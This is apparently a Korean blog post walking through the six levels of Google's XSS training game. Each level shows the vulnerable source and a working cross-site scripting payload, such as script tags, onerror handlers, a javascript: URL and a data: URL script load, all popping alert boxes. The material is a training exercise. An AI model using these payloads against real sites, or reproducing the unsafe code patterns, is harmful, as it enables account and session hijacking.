모의해킹/┗XSS

Google xss-chanllenge

logthink 2018. 10. 12. 11:29


Google XSS game


1.1. Source


<form action="" method="GET">
  <input id="query" name="query" value="Enter query here..."
    onfocus="this.value=''">
  <input id="button" type="submit" value="Search">
</form>


1.2. input


https://xss-game.appspot.com/level1/frame?query=<script>alert()</script>


1.3. comment





2.1. Source 


    <script>
      var defaultMessage = "Welcome!<br><br>This is your <i>personal</i>"
        + " stream. You can post anything you want here, especially "
        + "<span style='color: #f00ba7'>madness</span>.";

      var DB = new PostDB(defaultMessage);

      function displayPosts() {
        var containerEl = document.getElementById("post-container");
        containerEl.innerHTML = "";

        var posts = DB.getPosts();
        for (var i=0; i<posts.length; i++) {
          var html = '<table class="message"> <tr> <td valign=top> '
            + '<img src="/static/level2_icon.png"> </td> <td valign=top '
            + ' class="message-container"> <div class="shim"></div>';

          html += '<b>You</b>';
          html += '<span class="date">' + new Date(posts[i].date) + '</span>';
          html += "<blockquote>" + posts[i].message + "</blockquote";
          html += "</td></tr></table>"
          containerEl.innerHTML += html; 
        }
      }

      window.onload = function() { 
        document.getElementById('clear-form').onsubmit = function() {
          DB.clear(function() { displayPosts() });
          return false;
        }

        document.getElementById('post-form').onsubmit = function() {
          var message = document.getElementById('post-content').value;
          DB.save(message, function() { displayPosts() } );
          document.getElementById('post-content').value = "";
          return false;
        }

        displayPosts();
      }

    </script>


2.2. input


<img src=x onerror=alert()>


2.3. comment





3.1. source


<script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);
 
        window.location.hash = num;
 
        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }
 
        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }
 
      window.onload = function() { 
        chooseTab(unescape(self.location.hash.substr(1)) || "1");
      }
 
      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(unescape(self.location.hash.substr(1)));
        }
      }, false);
    </script>


3.2. input


https://xss-game.appspot.com/level3/frame#1'onerror=alert()//


3.3. comment





4.1. source


<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />


4.2. input


'); alert(1); var a=('


4.3. comment





5.1. source


<script>
      setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>


5.2. input


javascript:alert(1);


5.3. comment





6.1. source


<script> function setInnerText(element, value) { if (element.innerText) { element.innerText = value; } else { element.textContent = value; } } function includeGadget(url) { var scriptEl = document.createElement('script'); // This will totally prevent us from loading evil URLs! if (url.match(/^https?:\/\//)) { setInnerText(document.getElementById("log"), "Sorry, cannot load a URL containing \"http\"."); return; } // Load this awesome gadget scriptEl.src = url; // Show log messages scriptEl.onload = function() { setInnerText(document.getElementById("log"), "Loaded gadget from " + url); } scriptEl.onerror = function() { setInnerText(document.getElementById("log"), "Couldn't load gadget from " + url); } document.head.appendChild(scriptEl); } // Take the value after # and use it as the gadget filename. function getGadgetName() { return window.location.hash.substr(1) || "/static/gadget.js"; } includeGadget(getGadgetName()); // Extra code so that we can communicate with the parent page window.addEventListener("message", function(event){ if (event.source == parent) { includeGadget(getGadgetName()); } }, false); </script>


<div id="log">Loading gadget...</div>


6.2. input


https://xss-game.appspot.com/level6/frame#data://a,alert(1)


6.3. comment





'모의해킹 > ┗XSS' 카테고리의 다른 글

xss hex incoding 방법  (0) 2018.11.17
xss 관련 추가정리  (2) 2018.11.15
XSS Filter Evasion Cheat Sheet URL  (0) 2018.10.13
XSS challenge - alf.nu  (0) 2018.10.13